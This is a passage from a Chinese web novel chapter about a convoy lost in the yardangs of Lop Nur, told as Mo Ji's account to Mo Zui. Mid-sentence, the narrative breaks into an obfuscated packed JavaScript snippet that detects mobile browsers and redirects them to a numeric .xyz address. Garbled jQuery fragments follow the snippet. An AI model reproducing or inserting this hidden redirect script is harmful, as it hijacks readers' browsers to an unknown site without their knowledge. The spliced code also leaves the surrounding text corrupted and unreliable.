这都很正常。
莫醉从来都觉得,穿越罗布泊最艰难的,不是高温干旱,不是道路坎坷,而是要战胜每日相同的风景、无休止的颠簸和无聊到窒息的行程。
很多人崩溃在这一环节。
莫醉捏着手机一角,轻轻晃动着手机:“你刚刚说,gps和卫星电话都失灵了,你们开了很久,发现在绕圈圈?”
莫饥的思绪再次回到了那个黎明。
送走了三人,四人继续上路。两辆车,老李和莫饥领头,黄维夫妇跟在后方,按着他们的车辙印走。
初进罗布泊时,八辆车欢声笑语雄心壮志,对讲机几乎没有停歇的时候,短短几天,对讲机似乎失去了它的用途,车厢里安静到能听到彼此的呼吸声。
莫饥等人按照原定行程继续前行,老李开车,莫饥坐在副驾。从芦苇丛走出后,车辆经过了一片小型雅丹,其中有一个长得像是尼玛堆,高高耸立,鹤立鸡群。
初时,莫饥觉得有趣,还多看了几眼,可待第二次、第三次和它相遇时,事情变得诡异起来。
“李叔,这条路咱们是不是走过?”莫饥吞咽着口水,心中恐慌不断放大。
老李轻轻“嗯”了一声,神色明显凝重。他曾经出入过罗布泊多次,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372135|183971||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
敦煌圈子里小有名气,这次莫饥联系到他,说了黄维开得价高,他没多想便接了下来,谁知道会遇到这种怪事。
行程再次暂停,两辆车并排停下,隔着半敞开的窗户沟通。四人争执了很久,也没讨论出个结果。
风沙顺着空隙钻进车内,还是熟悉的土腥气,却似乎多了几分嘲笑的意思,嘲笑他们这群闯入者的不自量力。
天地肃静,万籁俱静。很长一段时间,四个人谁都没开口……开口又能说什么呢?没有经验,没有解决方法,只有无谓的争吵。
那时的莫饥怔怔望着前方,脑海中突然闪过莫醉的身影。
敦煌越野圈子里不少人有穿越罗布泊的经验,并以此为噱头,招揽各地越野爱好者,收取佣金,带队穿越罗布泊。
他们名声在外,仅靠一个名字吸引到来之不尽的客源,但在莫饥心中,没有一个能和莫醉相提并论。
只有莫醉可以一人一车,不带补给,不靠gps只靠直觉,在罗布泊里穿梭一个月,来去自如。
她曾经说过,罗布泊很大,历史很长,偶尔遇到点怪事,没什么可奇怪的,如果遇到怎么都走不出去的雅丹群,那就停下来睡一觉,总归也走不出去,不如睡饱上路,无论上的是哪条路。
莫饥将这个想法说出来,剩余几人竟然没有其他意见。前天晚上他们为了找突然失踪的人,忙了一夜,又在荒漠里绕了一天一夜,到这时确实累到了极点。几人没有扎营,在车上小憩,傍晚时再出发。所有导航产品全部失效,老李认了个方向,不看参照物开直线,半个小时左右,竟然真的开了出去。
“再后来的事你都知道了,我们又开了一夜,在沙地中陷车,叫天天不应叫地地不灵的时候你来了。”莫饥讲完了他的故事,开始追问莫醉的事,“你是专门进来找我的?”